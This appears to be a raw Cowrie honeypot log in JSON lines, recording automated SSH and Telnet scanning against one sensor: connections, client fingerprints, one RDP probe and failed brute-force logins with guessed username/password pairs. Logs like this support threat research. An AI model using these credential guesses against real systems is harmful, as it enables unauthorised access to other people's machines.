{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":41682,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b38140221d","protocol":"ssh","message":"New connection: 150.109.20.59:41682 (10.17.0.5:22) [session: d7b38140221d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:33.070524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:33.076928Z","src_ip":"150.109.20.59","session":"d7b38140221d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:33.322590Z","src_ip":"150.109.20.59","session":"d7b38140221d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:34.334306Z","src_ip":"150.109.20.59","session":"d7b38140221d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":47342,"dst_ip":"10.17.0.5","dst_port":22,"session":"e62f4094440a","protocol":"ssh","message":"New connection: 103.172.78.219:47342 (10.17.0.5:22) [session: e62f4094440a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:35.440965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:35.445737Z","src_ip":"103.172.78.219","session":"e62f4094440a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:35.583100Z","src_ip":"150.109.20.59","session":"d7b38140221d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:35.704808Z","src_ip":"103.172.78.219","session":"e62f4094440a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5530","message":"login attempt [root/nokia5530] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:36.474353Z","src_ip":"103.172.78.219","session":"e62f4094440a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:37.733932Z","src_ip":"103.172.78.219","session":"e62f4094440a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38480,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3735f002844","protocol":"telnet","message":"New connection: 192.119.13.58:38480 (10.17.0.5:23) [session: b3735f002844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:40.234425Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":60658,"dst_ip":"10.17.0.5","dst_port":22,"session":"61fd82f1d6ca","protocol":"ssh","message":"New connection: 15.204.225.76:60658 (10.17.0.5:22) [session: 61fd82f1d6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:53.317614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:53.323206Z","src_ip":"15.204.225.76","session":"61fd82f1d6ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:53.336228Z","src_ip":"15.204.225.76","session":"61fd82f1d6ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52716,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b2eee1f6ce1","protocol":"ssh","message":"New connection: 152.42.212.128:52716 (159.203.135.109:22) [session: 9b2eee1f6ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:53.378687Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:53.387814Z","src_ip":"152.42.212.128","session":"9b2eee1f6ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:53.391959Z","src_ip":"152.42.212.128","session":"9b2eee1f6ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password123","message":"login attempt [testuser/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:53.429051Z","src_ip":"15.204.225.76","session":"61fd82f1d6ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:54.444894Z","src_ip":"15.204.225.76","session":"61fd82f1d6ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":38894,"dst_ip":"10.17.0.5","dst_port":22,"session":"78adeeff5d49","protocol":"ssh","message":"New connection: 115.91.48.142:38894 (10.17.0.5:22) [session: 78adeeff5d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:17.547632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:17.552311Z","src_ip":"115.91.48.142","session":"78adeeff5d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:17.749026Z","src_ip":"115.91.48.142","session":"78adeeff5d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:18.568966Z","src_ip":"115.91.48.142","session":"78adeeff5d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.19947147369385,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:19.433756Z","src_ip":"192.119.13.58","session":"b3735f002844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":46500,"dst_ip":"10.17.0.5","dst_port":22,"session":"af98e2cd434d","protocol":"ssh","message":"New connection: 40.117.97.0:46500 (10.17.0.5:22) [session: af98e2cd434d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:19.696864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:19.701660Z","src_ip":"40.117.97.0","session":"af98e2cd434d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:19.717019Z","src_ip":"40.117.97.0","session":"af98e2cd434d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:19.769245Z","src_ip":"115.91.48.142","session":"78adeeff5d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tset","message":"login attempt [root/tset] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:19.858119Z","src_ip":"40.117.97.0","session":"af98e2cd434d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":60652,"dst_ip":"159.203.135.109","dst_port":22,"session":"de84502289a6","protocol":"ssh","message":"New connection: 43.173.90.78:60652 (159.203.135.109:22) [session: de84502289a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:20.298455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:20.302939Z","src_ip":"43.173.90.78","session":"de84502289a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:20.371009Z","src_ip":"43.173.90.78","session":"de84502289a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ociisprd","password":"ociisprd","message":"login attempt [ociisprd/ociisprd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:20.674491Z","src_ip":"43.173.90.78","session":"de84502289a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:20.871514Z","src_ip":"40.117.97.0","session":"af98e2cd434d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:21.745865Z","src_ip":"43.173.90.78","session":"de84502289a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33956,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9b85249ceae","protocol":"ssh","message":"New connection: 80.94.92.186:33956 (159.203.135.109:22) [session: c9b85249ceae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:24.475513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:24.489484Z","src_ip":"80.94.92.186","session":"c9b85249ceae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:24.592118Z","src_ip":"80.94.92.186","session":"c9b85249ceae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:25.074848Z","src_ip":"80.94.92.186","session":"c9b85249ceae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:26.216998Z","src_ip":"80.94.92.186","session":"c9b85249ceae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":41733,"dst_ip":"10.17.0.5","dst_port":22,"session":"d384fad48845","protocol":"ssh","message":"New connection: 182.253.79.194:41733 (10.17.0.5:22) [session: d384fad48845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:32.487060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:32.492119Z","src_ip":"182.253.79.194","session":"d384fad48845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:32.756288Z","src_ip":"182.253.79.194","session":"d384fad48845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":35448,"dst_ip":"10.17.0.5","dst_port":22,"session":"902deac80890","protocol":"ssh","message":"New connection: 15.204.225.76:35448 (10.17.0.5:22) [session: 902deac80890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:33.234435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:43:33.238226Z","src_ip":"15.204.225.76","session":"902deac80890","protocol":"ssh"}
